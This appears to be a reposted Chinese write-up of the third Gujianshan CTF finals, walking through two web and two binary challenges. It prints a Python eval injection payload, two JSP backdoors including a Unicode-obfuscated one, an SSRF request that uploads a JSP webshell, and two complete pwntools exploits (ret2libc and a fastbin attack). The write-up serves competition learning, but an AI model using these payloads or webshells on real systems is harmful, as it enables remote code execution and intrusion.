第三届古剑山决赛WP

admin 2026-04-16 03:50:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了第三届古剑山决赛的Web和Pwn题目解题过程。Web1通过反编译pyc文件发现eval代码执行漏洞,利用${IFS}绕过空格限制;Web2发现D盾检测的JSP后门和Unicode混淆后门,结合Stapler框架的SSRF漏洞实现文件上传。Pwn1利用游戏中的整数溢出和栈溢出实现ROP攻击。关键技巧包括概率绕过、SSRF转发、文件名绕过和ret2libc利用。 综合评分: 87 文章分类: CTF,WEB安全,渗透测试,漏洞分析,二进制安全


cover_image

第三届古剑山决赛WP

原创

Hades&An0ther Hades&An0ther

Zer0day安全

2026年4月15日 01:20 天津

在小说阅读器读本章

去阅读

Web

Web1

这题比较坑,需要反编译pyc文件,可以使用一些本地的反编译工具,比如uncompyle6、pycdc等,我这里直接使用的PyGlimmer集成的图形化工具

在magic.py存在混淆的后门,还原后为

| | | — | | Python                   import random                   import os                   eval_func = eval# LnAqcXWuxgkJVfIlPtEy                   str_func = str    # LnAqcXWuxgkJVfIlPtEj                   class Magic:                       p1 = 1                       p2 = 2                       operator = ‘+’                       settings = {‘password’: ‘pass’}                       def set_p(self, arg):                           # 随机将输入参数赋值给 p1 或 p2                           if random.choice([0, 1]) == 0:                               self.p1 = arg                           else:                               self.p2 = arg                       def execute(self):                           # 核心漏洞点:拼接 p1, operator, p2 并直接 eval 执行                           return eval_func(str_func(self.p1) + self.operator + str_func(self.p2))                       def get_password(self):                           return self.settings[‘password’]                   def main_function(inp):                       magic = Magic()                       # 漏洞入口:以空格分割用户输入                       arg1 = inp.split()[0]                       arg2 = inp.split()[1]                            magic.set_p(arg1)                       magic.set_p(arg2)                            # 50% 概率返回密码,50% 概率触发 eval 代码执行                       if random.randint(0, 10) < 5:                           return magic.get_password()                       else:                           return magic.execute() |

其中main_function(inp)会将我们的输入按空格分割inp.split()取前两个元素,因此执行的命令需要使用${IFS}等代替空格

由于代码中有if random.randint(0, 10) < 5的限制,以及set_p的随机赋值特性,单次请求成功触发 RCE 的概率约为 25%

多次执行:

| | | — | | Python                   GET /magic_function/?data=__import__(‘os’).popen(‘curl${IFS}-k${IFS}https://10.17.0.3/Getkey/index/index’).read() ” |

Web2

D盾扫到后门

题目直接带的在webapps/ROOT/images/icons/.conf.jsp下

| | | — | | Java                   <% Runtime.getRuntime().exec(request.getParameter("c").split("%"));%> |

直接执行:

| | | — | | Java                   GET /images/icons/.conf.jsp?c=bash%-c%curl -k https://10.17.0.3/Getkey/index/index |

此外还有一个Unicode 混淆后门在webapps/ROOT/fonts/iconic/fonts/.jsp下

| | | — | | Java                   <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>                   <%@ page import="java.io.*"%>                   <%                     \uuuuuuuuuuuuuuuuuu0053\uuuuuuuuuuuuuuuu0074\uuuuuuuuuuuuuuuu0072\uuuuuuuuuuuuuuuuuuuuuuuuu0069\ …… %> |

解码后核心代码为一句话木马

| | | — | | Java                   String cmd = request.getParameter(“cmd”);                   Process process = Runtime.getRuntime().exec(cmd); |

直接执行即可:

| | | — | | Java                   GET /fonts/iconic/fonts/.jsp?cmd=curl -k https://10.17.0.3/Getkey/index/index |

漏洞点

先看web.xml,可以看到应用使用的是 Stapler 作为总路由入口,同时注册了监听器 com.collection.WebAppMain:

| | | — | | XML                   <servlet> &nbsp; <servlet-name>Stapler</servlet-name> &nbsp; <servlet-class>org.kohsuke.stapler.Stapler</servlet-class> </servlet> <servlet-mapping> &nbsp; <servlet-name>Stapler</servlet-name> &nbsp; <url-pattern>/</url-pattern> </servlet-mapping> <listener> &nbsp; <listener-class>com.collection.WebAppMain</listener-class> </listener> |

继续反编译 WebAppMain 可以看到,在应用启动时调用了 Stapler.setRoot(…, new BookStore()),说明整个站点的根对象就是 BookStore。

也就是说,后续主要需要审计的类就是:

com.collection.WebAppMain

com.collection.BookStore

com.collection.UploadInterface

其中真正有利用价值的是 BookStore

在BookStore中,存在一个关键方法:

| | | — | | Java                   public java.lang.String doHeadUpload(org.kohsuke.stapler.StaplerRequest,                   org.kohsuke.stapler.StaplerResponse) |

按照 Stapler 的命名规则,doHeadUpload 会暴露成 /headUpload 路由。

反编译逻辑可知,该方法主要做了以下事情:

仅校验 request.getRemoteAddr().equals(“127.0.0.1”)

判断是否为 multipart/form-data

使用 commons-fileupload 解析上传内容

将文件写入:

| | | — | | Java                   request.getServletContext().getRealPath(“”) + “/uploads/” + fileName |

对文件名的限制只有一个:

| | | — | | Java                   if (fileName.contains(“..”)) return “{\”status\”:\”forbidden\”}”; |

也就是说:

  1. 没有限制扩展名
  2. 没有限制只能上传图片
  3. 没有随机化文件名
  4. 上传目录位于 webapps/ROOT/uploads/,属于 Web 根目录
  5. 如果上传 .jsp,Tomcat 会直接解析执行

在同一个根对象 BookStore 中,还有一个 getProxy() 方法,返回的是 com.stapler.StaplerProxy 对象。

在 StaplerProxy 中存在:

| | | — | | Java                   public void doProxyRequest(StaplerRequest req, StaplerResponse resp, String to) |

按 Stapler 规则,该方法对应的可访问路径就是:

| | | — | | Plain Text                   /proxy/proxyRequest/ |

继续分析 doProxyRequest 的逻辑,可以发现:

  1. 参数 to 只要以 http:// 或 https:// 开头即可
  2. 支持GET和POST
  3. 对于 POST,会把原始请求体转发出去
  4. 会转发大部分请求头
  5. 没有目标地址白名单
  6. 没有鉴权

因此这里实际上是一个无鉴权 SSRF。

所以利用这个这点就可以实现文件上传的绕过了

| | | — | | HTTP                   POST /proxy/proxyRequest/?to=http%3A%2F%2F127.0.0.1%2FheadUpload HTTP/1.1                   Host: TARGET                   Content-Type: multipart/form-data; boundary=—-x                   Content-Length: 364                   ——x                   Content-Disposition: form-data; name=”file”; filename=”shell.jsp”                   Content-Type: application/octet-stream                   <%@ page import="java.io.*" %>                   <%                   String cmd = request.getParameter("cmd");                   if(cmd!=null){                   Process p=Runtime.getRuntime().exec(new String[]{"bash","-c",cmd});                   BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));                   String l;while((l=br.readLine())!=null)out.println(l);                   }                   %>                   ——x– |

Pwn

Pwn1

发现是一个打龙王的游戏pwn 漏洞点一般都在击败龙王后的逻辑

直接搜字符串发现

这里snprintf 的目标缓冲区只有 0xa0,但返回值 n 是“本来应该写进去的总长度”,不是实际写进去的长度。程序直接把这个返回值拿去 read,于是形成栈溢出。

当dword_603074为0时触发胜利逻辑

当n92为0x80000000时触发win逻辑

这里n92和v2都是int类型 可以触发整数溢出

前面先赚20使n92为112 然后买26843547个HP-Medicine即可

112 – 80 * 26843547 == 0x80000000

后面就是正常的ret2libc

程序没给libc 泄露出puts函数的地址后三位发现是2.23的libc

| | | — | | Python                   #!/usr/bin/env python3                   from pwn import *                   context.clear(arch=”amd64″, os=”linux”, log_level=”debug”)                   # io = remote(‘4.1.13.1′,int(9999))                   io = process(“./king”)                   elf = ELF(“./king”)                   lib = elf.libc                   # gdb.attach(io)                   rdi = 0x401403                   ret = 0x400621                   main = 0x4012A0                   def reach_win(payload):                       io.sendlineafter(b”>>> “, b”7″)                       io.sendlineafter(b”>>> “, b”7″)                       io.sendlineafter(b”>>> “, b”4″)                       io.sendlineafter(b”>>> “, b”1”)                       io.sendlineafter(b”How many HP-Medicine do you want: “, b”26843547″)                       io.sendlineafter(b”>>> “, b”3″)                       io.sendlineafter(b”>>> “, b”10″)                       io.sendafter(b”What’s your name?\n”, b”A” * 128)                       io.recvn(159)                       io.send(payload.ljust(275, b”P”))                   def exploit():                       stage1 = flat(                           {                               184: [                                   rdi,                                   elf.got[“puts”],                                   elf.plt[“puts”],                                   main,                               ]                           }                       )                       reach_win(stage1)                       puts_leak = u64(io.recvuntil(b”\n”, drop=True).ljust(8, b”\x00″))                       print(hex(puts_leak))                       libc_base = puts_leak – 0x6F6A0                       log.success(f”puts leak: {hex(puts_leak)}”)                       stage2 = flat(                           {                               184: [                                   ret,                                   rdi,                                   libc_base + 0x00000000018CE57,                                   libc_base + 0x0000000000453A0,                               ]                           }                       )                       reach_win(stage2)                   exploit()                   #io.sendline(b’curl -k https://10.17.0.3/Getkey/index/index’)                   io.interactive() |

pwn2

2.23的堆 只有增 删 查三个功能

发现左移完成后,最后一个槽位没有被清空 这就存在UAF

后面就打fastbin attack即可

| | | — | | Python                   from pwn import *                   context.clear(arch=’amd64′, os=’linux’, log_level=’debug’)                   # io = remote(‘127.0.0.1’, 9999)                   io = process(‘./heap’)                   elf = ELF(‘./heap’)                   lib = elf.libc                   fake_bss = 0x60208d                   one_gadget = 0x4526a                   realloc_off = 0x10                   def add(size, data):                       io.sendlineafter(b’Choice:’, b’1′)                       io.sendlineafter(b’Name Size:’, str(size).encode())                       io.sendlineafter(b’Name:’, data)                   def show(index):                       io.sendlineafter(b’Choice:’, b’2′)                       io.sendlineafter(b’The id you want to show:’, str(index).encode())                   def delete(index):                       io.sendlineafter(b’Choice:’, b’3′)                       io.sendlineafter(b’The id you want to drop:’, str(index).encode())                   # gdb.attach(io)                   for i in (0, 1, 2):                       add(0x60, b’a’ * 8)                   for i in range(3, 19):                       add(0x20, b’a’ * 8)                   add(0x60, b’a’ * 8)                   for idx in (0, 18, 0, 17, 0, 19, 0, 0, 0):                       delete(idx)                   add(0x60, p64(fake_bss))                   add(0x60, b’C’ * 8)                   add(0x60, b’D’ * 8)                   add(0x60, b’AAA’ + p64(elf.got[‘puts’]) + p64(0) * 7)                   show(0)                   io.recvuntil(b’The name is:’)                   puts_addr = u64(io.recv(6).ljust(8, b’\x00′))                   success(‘puts: ‘ + hex(puts_addr))                   libc_base = puts_addr – lib.sym[‘puts’]                   lib.address = libc_base                   success(‘libc_base: ‘ + hex(libc_base))                   delete(16)                   delete(16)                   delete(16)                   add(0x60, p64(lib.sym[‘__malloc_hook’] – 0x23))                   add(0x60, b’E’ * 8)                   add(0x60, b’F’ * 8)                   add(0x60, b’A’ * 0xb + p64(lib.address + one_gadget) + p64(lib.sym[‘realloc’] + realloc_off))                   io.sendlineafter(b’Choice:’, b’1′)                   io.sendlineafter(b’Name Size:’, str(0x10).encode())                   #io.sendlineafter(b’Name:’, b’curl -k https://10.17.0.3/Getkey/index/index’)                   io.interactive() |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zer0day安全 Hades&An0ther Hades&An0ther《第三届古剑山决赛WP》

Windows凭证提取技术 网络安全文章

Windows凭证提取技术

文章总结: 本文系统阐述Windows凭证提取技术,从底层认证机制到实战分阶操作:普通用户权限通过凭据管理器、DPAPI解密获取横向凭证;本地管理员采用SAM离
评论:0   参与:  0